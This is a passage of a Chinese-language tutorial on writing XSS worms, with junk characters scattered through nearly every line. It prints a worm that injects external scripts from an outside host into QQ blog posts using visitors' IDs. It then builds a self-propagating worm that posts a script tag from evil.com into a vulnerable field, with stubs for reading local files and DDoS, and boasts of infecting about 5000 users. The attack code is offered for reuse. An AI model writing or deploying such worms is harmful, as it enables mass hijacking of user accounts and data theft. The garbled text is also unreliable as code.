0 O" E) m% [) f1 y. Q }else{break;}
( b& f1 W n; W( {3 ^- [: ?! G1 A1 f- V. G
}
, m- t) ^1 F: e; f6 ~" Z8 r8 _! y
/ L. G% @* n' xget_my_testself(); //执行这个函数: k' T" m# W/ h; {
- W& x4 x, r! t) s* Q
}' F. A( d) U9 F% L) |
) ]0 q; ]! D0 ~
~5 r, X L1 z0 |9 M
/ N9 l3 X+ F" D//这里往哪跳就不知道了
( u# ~! M9 E1 ]8 p \% Y( Q
D) m2 w# I7 E- v2 P" ifunction get_my_testself(){2 q8 o+ @/ p2 W
) `6 G+ n% I' N$ i) I2 C7 w for(i=0;i<myblogid.length;i++){ //获得blogid的值0 d! e c3 ? @ y
; x6 R' m, ]) n1 \: _
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
4 Y5 \2 [! C" X+ E, y' o6 c
7 b/ O2 l+ _. W, E _% J4 I9 R: | var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
) @6 c B5 V9 \6 a) V+ ~
$ e! z+ ~% V0 s, P4 o. g$ X if(xhr2){ //如果成功
; E% D$ m4 I' A9 s6 H+ M$ q- |5 U# p9 ^6 u5 `/ ]
xhr2.open("GET",url,false); //打开上面的那个url
: l r' i. M, T# B, C# A# L) g# i" Y# k! O c4 W( e
xhr2.send();
, y! H$ j' f8 {( |( S' n) x
M8 X' f5 H) M2 O' T; B guest2=xhr2.responseText;
6 F" s% ?1 ^% X( V# I5 f
# J+ q4 g( T% e e8 N1 C; A var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?4 p- G$ ]* M, l, W( y' S
1 i( K w: ^' l# R& {# j! i var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
# R; I3 T! M" x6 }% a3 c# {
2 e1 X( c0 q7 s: D& r# i: F if(mycheckmydoit!="-1"){ //返回-1则代表没找到6 D8 g: J8 S+ `
2 D7 p$ P; ?+ G8 _7 f2 C targetblogurlid=myblogid;
' X1 L( c7 G0 k2 D. ~
: I, }: S/ {) D" u/ _7 j add_jsdel(visitorID,targetblogurlid,gurl); //执行它
: M4 I; c2 a L) J1 f6 _# ^" `4 A, A3 H. F
break; I" W" ^) G7 p; v q {' X( s. @0 B
1 a, i( ~5 H% [9 ]9 @# d
}. A+ A, e; x7 H
& i/ y( y; i. x8 S- i z
if(mycheckit=="-1"){
# C) c/ m0 v" o# K# r' T; _$ {+ t8 l: o0 U1 g [- B. n6 {
targetblogurlid=myblogid;: Q j0 I7 o$ C# }6 X
/ e: v) Q4 ?0 h- j/ n0 T' M7 P
add_js(visitorID,targetblogurlid,gurl); //执行它/ j; l, ]- ]! Q* ]9 W' q
# Y2 `$ H% M- R( ? break;- |1 ]" A Z" y0 S) J
. Z m. Q2 I1 r. R# }% u/ T9 Z
}# u2 i& j6 o x/ R8 Y' X- x5 s
' w, q" U% ^* x
}
! k! f; O0 k* I1 p! a
: j$ Q' _* Q) X4 S3 O3 p}$ ^9 I( a6 S/ ^1 Y9 \! ?
n t" l& A9 P7 D( a3 h& Q
}( t% [. y" `/ D, e2 V6 q
5 F3 g: T, Z: V5 [% N; w( b) j1 h+ N
( _9 ~! Z$ g% P
//-------------------------------------- ( }( B4 E( O/ P: ]4 v
; |' T$ X" c! v Y
//根据浏览器创建一个XMLHttpRequest对象
0 s6 G( W4 U# e+ Z7 n$ z8 a
& e8 b3 Y& ]* k6 v, c% j/ I/ bfunction createXMLHttpRequest(){
% \* a6 P+ j8 U: I9 A) E/ ^0 c, m( s$ v; P D5 n0 j2 h$ i4 v/ f
var XMLhttpObject=null; 7 p* O I* D" o0 ~
3 \. S% ~" d9 I0 c( A$ M' d if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ) ~( [0 I& K! c: j# h, A" ~
x4 U+ X+ @6 @) K$ U
else
4 s+ a6 W9 }2 p* f" V/ \
; a$ @4 a( q" E( x8 a { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
3 s2 e, [' _/ S4 s- A j; d! u" l$ p2 o; D
for(var i=0;i<MSXML.length;i++)
8 v2 ]1 F2 P8 d9 _
% c. }9 [7 Y6 c1 F {
1 f; n1 @& K5 G; c* x0 _6 O6 T+ L: @3 t5 E9 e, `
try
: `1 r! B$ u- [' ?, Z- U& C: y0 J# V0 H9 g, F2 O. P
{
: m( i. B9 A' A. F" f
/ f+ X) q5 K3 y2 G, k XMLhttpObject=new ActiveXObject(MSXML); 4 f' Y) n# K- H* A! T- F
+ E1 @6 W1 |6 a: E/ H2 \, B& h
break;
( M$ D5 `$ {: L5 N& v( W, A& s* H- I1 i) M* w9 U" l9 C7 D( a0 f
} ! U4 v( U) x, n0 d/ E$ e$ }7 ~
3 K4 f* `/ j$ v6 S2 ?1 s/ Z catch (ex) { / Z9 s' Q6 z, H9 |3 f* q
7 ~8 w" [4 V, C- O
} / B, ]; X% G) M1 a
' x' s/ ?4 R [) _5 N }
m5 T- i- Z& K5 A4 ~( R
0 E; k7 Z5 j b: u% o! a }
- l8 I G5 S8 J6 R V: r, T% W5 ~
& @* x( ?# R% J0 ~return XMLhttpObject;8 e9 a# T! z4 a
, M1 q; V, K1 u+ W4 l9 ^/ A}
* \! l2 l1 s; ]- P* z, W, D( H
$ n1 ^, l( U7 r5 I: V9 h x7 w6 X' _ @5 c; b
- B) [1 @, ~ r# f& G( I" m
//这里就是感染部分了
$ l) ~+ ^+ G& A1 r8 J
% d; X! Q6 _9 ^4 ], ^function add_js(visitorID,targetblogurlid,gurl){
& ?, B4 P" y# W: Y% W
+ N8 }$ p$ s: `6 z. evar s2=document.createElement('script');
4 e& I, `* z. e
5 h6 y9 _3 p: s$ r6 E9 b2 K3 @s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();, K$ j" `: r! P$ o
/ S9 q. w( r3 M) F/ ^3 P( ^
s2.type='text/javascript';" i6 x; p6 d) D5 L: L9 n
o- ]: ~" [$ _7 P J. ^, ?: q/ d3 Cdocument.getElementsByTagName('head').item(0).appendChild(s2);6 Q# M6 U3 x2 E/ v+ P- s6 u
$ Y) u0 U, ^4 J3 i7 A6 ?9 [
}; P& b4 _9 }2 I8 \) }- O( [
( S# r( h5 v6 R
9 c" B/ S% d4 U2 e8 E
% f. l0 @9 T# M* @. {function add_jsdel(visitorID,targetblogurlid,gurl){5 X- v9 J: O; A' Z% p7 } I
2 U0 h" d) Z: c4 R7 O; lvar s2=document.createElement('script');! d" F9 W8 H- z( `) K9 {
0 i. @1 _* d4 R& }s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
3 l: \' e/ m3 ^/ U8 Z7 r8 W/ b {0 h1 K) P" _1 R. s
s2.type='text/javascript';. X; }" U. y, ]7 b5 U1 I
0 g$ J$ b! |! S& `8 p# r
document.getElementsByTagName('head').item(0).appendChild(s2);
0 H* K, B, o4 _* `, y
$ p" ~4 q. a) d& C; h V8 O}' X' a6 B% o' W; C) |5 b& H8 R
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:8 m$ ]" g7 {+ i( f5 ]5 z
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
9 [$ i- B+ Y- ]' T( V2 Z8 e U; [
& m9 I' ?3 z+ C7 T9 n& a2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& s0 ^) F+ X5 t& }% A3 f U
4 X. ?- C, y+ O综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~' D1 Q7 @% K# C3 H% N% {5 B
; A H9 N6 n, U Y
1 G) L3 i7 o/ k/ h i
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.7 W# h% R b; b; a1 f6 l' _
" I/ `4 ^( S- ^( @4 e6 G, t9 Q
首先,自然是判断不同浏览器,创建不同的对象var request = false;
" ^4 y( J8 Y, t7 J3 f
9 v4 z+ [. l4 A1 Zif(window.XMLHttpRequest) {/ Z9 B3 Z8 H! B, b) y
3 D% _2 k5 ~5 O5 f$ w1 P7 B9 x/ a$ r
request = new XMLHttpRequest();6 c1 J0 ^5 F4 _
% k9 J2 g) v: O* H" @
if(request.overrideMimeType) {: M* ~) @0 |3 C5 s0 T
+ T% \) y- N7 `, r
request.overrideMimeType('text/xml');
1 G$ N2 w9 \3 L& W: k/ z2 Z, N( G R- m5 D9 c8 e- z5 P0 D
}
$ N2 H) x+ z. T* S" i% H# G1 r8 ?) M9 g( G& n! O5 z# |
} else if(window.ActiveXObject) {
1 `; c' q6 M) F* Y2 f: L
% c; I# T7 s$ M' `4 kvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];0 l3 g: P& K3 ?1 L+ [
6 z( g: d# O$ g6 X5 W2 D) [
for(var i=0; i<versions.length; i++) {
1 u% Z6 @& }2 n7 s0 R7 T( d% V4 s+ k1 X- J* r" v
try {
5 J) U( e( s8 t8 c+ I, V$ d5 C g# u4 h1 x, \/ m, [" T& _! v: w k
request = new ActiveXObject(versions);
& |7 v( L0 `8 n9 C E: I! P& S
/ ?1 N3 ^& P5 r; |* {/ ^} catch(e) {}
& w) @' A+ a+ ?( P3 Y' Z) D- D7 G, O t7 f7 [$ f" `
}
- n F2 h# J7 a7 M2 g& c( B
: A4 {+ l2 t7 z}8 N# z) j; S' @& {
. V& r2 y9 }8 a* R7 |: W. s9 n' WxmlHttpReq=request;
9 K% [) E0 h. t2 d# S复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){* _' n' B. [) H5 O3 d, I+ I4 o
; Z( [* W" s6 E; e
var Browser_Name=navigator.appName; x& x" S& M3 {& H, a2 }
$ v3 U; N) y' t9 T- |7 u1 Z
var Browser_Version=parseFloat(navigator.appVersion);
6 o' c1 F) Q0 f5 W( Z* H) C
0 D$ R% K8 y* U* s9 h+ X var Browser_Agent=navigator.userAgent;
. x" f; b% w5 a' N7 P6 U
) M- _+ F) o9 C' [) e! I% T ! m( t9 `( [: w8 y. k3 q; \
+ s& q0 ]# r4 ?9 E0 e
var Actual_Version,Actual_Name;: X2 j5 s5 P1 _
* p4 x2 M1 ?1 r3 R) c0 g $ V& Q: P! c2 E1 v
1 U& F( c# N: S8 O var is_IE=(Browser_Name=="Microsoft Internet Explorer");
7 t# d* u, Y4 H. c7 d( o) t% S
7 Z. a/ e3 R- q+ q% e7 G var is_NN=(Browser_Name=="Netscape");
$ k A$ {5 X0 C3 y4 A6 F& [2 o, `- ?9 C5 K) N4 B9 q
var is_Ch=(Browser_Name=="Chrome");
. Q# ~: }" _- V$ I5 r2 J! b* W. o) v; d- C4 V0 @! a
/ w F3 F' j# ^2 U/ d5 B
9 ]+ ~" r( y- ?6 J
if(is_NN){
) O' o& h! s! l0 k" f2 ~' y6 \: e8 g( L
if(Browser_Version>=5.0){
* o+ l) Z* K5 F" z+ M! Z7 F3 o* i0 b2 {4 t2 k
var Split_Sign=Browser_Agent.lastIndexOf("/");1 @" w% j$ c& B" y) G$ R, h# U
/ M! K# w9 a6 O( V' f, j var Version=Browser_Agent.indexOf(" ",Split_Sign);! t: n* P2 I8 T! i
5 K4 x. @$ r0 b+ y) i# g
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);2 s# i9 s! X, j8 ]# r, J
2 v, W* T v6 h S, P+ q- y
# n# o t9 K) I& v* {1 d; \
: k8 q1 S8 r" Z$ o4 a Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);* f6 w/ n- c0 u$ |; w# D
0 M2 m* p* k8 ^! j2 s2 u9 U
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
! F1 c2 Z+ K7 Y) L' K. b, J7 P) C$ z0 T1 `* \9 h
}7 _' t$ s1 j: g! y4 N5 S. Z
5 J0 G" g1 G. K; N5 Z* ]
else{2 @ y3 z9 C# X4 l' B. b, z
8 C/ T! n5 ?4 N2 ] z Actual_Version=Browser_Version;; H% N/ g ]6 c
& [0 o, p& }. a5 J$ d5 P2 z2 l3 b& ~ Actual_Name=Browser_Name;! v9 n6 I- k6 r. \1 x% A
2 b5 z, b# _! g; H
}
* F) P" m3 D8 K7 p
( x: O) N, e. l! V6 V6 q1 y3 X }
1 D+ l5 v7 l+ ~7 J; ^7 v* V% S. ~2 f) T( |4 R
else if(is_IE){6 r4 i* H2 X0 H% [ ~2 E4 }
& s u! g9 ?( n: A% G
var Version_Start=Browser_Agent.indexOf("MSIE");
* m; x6 j# i; M" w0 {2 J
4 F- x5 s. A; n6 w, B var Version_End=Browser_Agent.indexOf(";",Version_Start);
6 {% b" t9 a, ]3 @* }. u% _: H: K/ P7 y' U7 C
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
% q# W( ?8 X% t" {' U( r* p! H7 x
Actual_Name=Browser_Name;
4 E+ i8 Z9 p. M4 n0 \# `, p u8 A$ u( l) e( l9 P& ~9 M' T, B0 M
7 o* q/ E9 E/ e7 |0 B7 ~: Q3 v) J
9 X' h7 G* `2 Y' H; P& D ?* G: V if(Browser_Agent.indexOf("Maxthon")!=-1){1 w% o* ~% E- w8 |% \
6 b- X/ v9 S9 S$ C, [" b! O Actual_Name+="(Maxthon)";
- w- l9 E3 i8 n- f% ]0 g1 s+ m' N6 }- S& i1 J
}5 P: Y- y" d% {, b& s" Q, f( C
# T1 g# [3 |( {% a: S else if(Browser_Agent.indexOf("Opera")!=-1){- \! e. V v& l+ o/ Q
N9 I( {! D- P. i \- F Actual_Name="Opera";
% p9 [+ _, \5 ~1 R8 ^: w2 M9 u) L* q+ l) h3 b; l R) J
var tempstart=Browser_Agent.indexOf("Opera");* W/ I8 e+ }( h1 b4 L. O% `# S
: I+ ~& M7 u& g% [; l9 p3 r; D
var tempend=Browser_Agent.length;
" t7 C+ Z: s6 [7 {# ?# \# Q/ o
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)3 _0 J- L5 Y% W) @" T$ o
# j. ]2 G: y6 e, {
}# k" \/ d+ \9 j- A7 f; X
3 n# ]! C9 P9 D0 m' G: S, S
}5 l& X7 ^+ l, P3 ?2 S8 u2 @
) g) k! i/ `5 c% ], [. R+ ~; }
else if(is_Ch){
" [2 j/ `( O' E2 X9 p) ~. a" C$ o0 K( ~4 r ]; x6 m5 R
var Version_Start=Browser_Agent.indexOf("Chrome");0 g) A3 y7 @- S# `" J h4 q1 I0 a
3 L: @7 l0 L8 _- O+ D0 C) M; N9 I
var Version_End=Browser_Agent.indexOf(";",Version_Start);
; F) U: q0 a! J: Y2 Z. R/ I& a: M
/ D5 b' B+ M5 V% f/ ]+ Y1 K' x Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)% |, S& k" K! u2 z* b+ D& P8 d
' f6 ] B* r% R8 u6 U Actual_Name=Browser_Name;' \5 z" v9 P8 k) D6 O; Y
3 {6 b8 E( ^: u, u6 w q6 _ 1 @ l( M6 ?5 e* E5 @
0 K. l8 @& ~4 ^8 |! f5 s3 T/ I if(Browser_Agent.indexOf("Maxthon")!=-1){+ U) C; C3 M1 J
3 K5 G( L1 E3 d" j& f. i- Y! I5 D
Actual_Name+="(Maxthon)";: Q) P# [) @+ J1 ]
/ F# N" x; W) ?- @! Y7 j4 o9 w }' L* ]# H0 W7 }/ A: o- Y t# i
; p$ a9 {; t6 N& r( K else if(Browser_Agent.indexOf("Opera")!=-1){
7 |1 Y3 f+ o' R0 p2 Y; q) Y0 Y2 _1 v. \& R* f1 R
Actual_Name="Opera";% e0 b, j; K+ G# t
: H% C# X& D. _+ d/ `0 k7 H3 } var tempstart=Browser_Agent.indexOf("Opera");
0 Y" }4 _" H# m) Z
# W4 K6 q) k% S# O6 D2 |" a var tempend=Browser_Agent.length;. B! ~: }" h, y# ]; M9 N+ D
7 i/ w @' D j c
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
) F% i) X1 k0 A. p7 e7 {$ h4 T& Q# P" K4 P$ v
}
% G4 \3 }; t1 v# ^3 V- m0 j# s6 A4 F' f8 f; N0 O0 _- x
}# E1 v4 b# x; Y# b4 W
$ S1 i, J7 Q0 j( H7 g% f else{, P% C/ V8 b. m
" k* F5 L9 s; X9 N; k
Actual_Name="Unknown Navigator"
. X" \& Y& r4 Q# V: D% {5 ^* q9 x
3 t$ z3 m5 G* j- P Actual_Version="Unknown Version"& n0 c5 y5 }2 A: m1 K* o% M
# ] ~& [2 D4 m( q% s2 F) t* W# x }8 W% J3 ]& z9 F" ]
1 Z8 J) a4 ]8 G) N- H0 e" x
/ W9 {+ t0 {$ P6 p; I5 i! p9 t# h! k. g+ j8 P, y
navigator.Actual_Name=Actual_Name;- T a1 ~; o! e- z8 |5 b, y
- f: a& [- o0 a# @' ^( h7 R. k
navigator.Actual_Version=Actual_Version;2 }$ _, F4 A, @ I7 v ]$ p
, Y/ _! b" z. L- J ; a; j- W8 @. D
$ L3 a2 h5 [! L6 G this.Name=Actual_Name;% g0 @& U6 G( \' L6 ^9 L
6 @- f( s3 f3 J# u8 |, |8 n6 S! g4 i: h
this.Version=Actual_Version;
2 `0 Q: @! ^/ J' f. y! Z1 b3 R% N. j1 [( O" L
}
. S, g% g8 j4 y$ y, p0 j, L! i' i! Q9 W! I. u
browserinfo();
; |# l7 a3 K8 W. U" F/ P+ S6 R1 U' k9 g6 C$ Y$ H' g p& o
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}! ]0 b' F7 x6 o7 |) R) U- \0 P& d
1 H# M) X r3 X if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}' w; ]) I% D' V6 L
7 z; K, K$ s1 X/ t/ \ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}# e/ b7 g; _ M, Y
( p8 F+ S0 b# z& R" W! w6 s$ E: Y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
9 H8 r2 i( [( w复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码; l7 i+ ]8 `+ E
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码; O0 m! T% e5 H. ^: z
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.. F" e% U+ M4 t2 u" i
% Y1 e! f* f- B D- Z) H
xmlHttpReq.send(null);4 h) x( h7 Y3 j( |7 y4 g7 S( }8 I% H
" k/ G& o1 |9 o# i) e- B+ x$ }6 g
var resource = xmlHttpReq.responseText;
3 m+ W! V6 Z& L; V0 t1 {% t7 {/ U
var id=0;var result;. G4 J" X( X! g3 o7 ^
( S, _5 F2 ]9 X- k0 Z& p
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
! D& r; f4 t$ k. ?, p
: e8 h4 d4 x2 p" Wwhile ((result = patt.exec(resource)) != null) {5 L* H$ v# d9 P" F* U* t
! C& H+ t3 P. U4 d0 D& Gid++;
. N8 V6 M- |0 ~: n1 R
, @/ T' i$ S9 o& d7 |" H}
j- k7 n0 M0 j* X/ _复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.1 l/ c1 M5 w3 [: N
3 k% ~) C+ P8 P. X+ Y" H$ a& V$ r
no=resource.search(/my name is/);
* r9 h: f1 f) w( x+ r% c) f
]1 {3 h, i/ k9 Bvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
% N; u7 n4 y9 V/ F9 H
- Z! P' |0 q- A5 v& X2 Avar post="wd="+wd;
, T+ C/ h$ \+ B) c# ?" t! G+ c( `' a( z7 R" R+ y
xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.0 F( \3 N T. M- z# b3 \
2 ^: e( ^6 e5 ]3 E YxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& _1 S- u1 j4 V) x; w5 ?4 {, z
, o4 a$ _$ [7 Q# k e2 l3 LxmlHttpReq.setRequestHeader("content-length",post.length); - V; }4 u4 _( r3 N" E/ n3 Q
8 K% w; V1 j8 ]& \. v3 b
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");) v% C3 Q2 a) v' b1 Q
; T/ w0 P" C# ~% R+ j0 a
xmlHttpReq.send(post);* `' B0 f v1 a, S. J* J
, _+ R/ B( g; N- e6 e}. U! U. E8 p1 M5 B7 @; v! q
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
V2 Z! ]- @- j8 H3 G X% {1 R- Z. J- ^. O0 i; k7 v( j
var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方5 ^* ^7 H6 e+ n) r9 ~
& K9 c7 R. z. ~1 `
var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
3 T" F' Q- f4 \: z/ S$ ]2 g$ h" G! s
- i! v( Z7 Z9 `& [var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
! U9 Y, n1 j& c* t! r: c# W0 ?4 }6 v( x2 _$ E
var post="wd="+wd;: m$ A( D2 _& {9 K2 y5 L
- H/ a2 E+ G: Y% x( u% ZxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);. _& |6 ]0 J: s/ C0 h
; C& c/ c& u( Z8 L: n# sxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
\+ J& ^( u- d0 F" S" }0 V7 I
: N( F% b9 ~2 H& H# `xmlHttpReq.setRequestHeader("content-length",post.length);
5 I6 I) H3 M4 j; G. v/ h, g9 g9 Z& p ]: H) t2 q2 L C, c, f! s6 m) J
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
# F5 s9 Z! E, a3 w9 t H
4 k; J2 ]5 ~& L8 X5 N$ u0 IxmlHttpReq.send(post); //把传播的信息 POST出去.$ l' P/ R: J. Q* B$ a* I: E0 H
: ?8 R. d4 d' ^# W4 i
}
5 f8 l- @4 ]: {6 n8 Y0 K复制代码-----------------------------------------------------总结-------------------------------------------------------------------
+ S: c4 r# S9 H0 c5 D& N1 ^+ e$ w( h0 B l. w) ]# E& e! T
( j3 d6 a+ \' y3 E/ q+ k B6 K% I4 J* e
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
' z$ T/ W7 R) R5 l0 B& Z: Y蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
; @# f `" L( @6 F, S操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.; _& y$ r1 j2 y! c |$ Z% h
t- ~+ g0 ? \+ j3 j
# W4 U/ B0 J: z+ o! V( ^. H! G6 B3 n
9 Q2 f# J: S" S2 H& `1 U
$ N8 R x+ i* l& |$ H9 @& x7 C" n
% s" ~5 b8 h$ y" N3 a5 o
$ B8 c7 X& |. X$ A
1 j) u. ]! c' P( } C2 O
8 Y9 h& M# s% @4 E5 s: w$ s5 @
本文引用文档资料:
) h) [8 P- e* s. J1 Q" O# ^; q# ^. }; j- r- a) A. d
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)4 k8 x& D+ P$ l7 f9 b
Other XmlHttpRequest tricks (Amit Klein, January 2003)( E' W7 U# V& @7 E# M
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 V7 ?1 \" t9 |& a3 n* Shttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
1 \1 v9 j+ ~- z% Z V空虚浪子心BLOG http://www.inbreak.net
5 o7 T2 \- t ^Xeye Team http://xeye.us/
|8 a) f6 R# ^. m. x, L |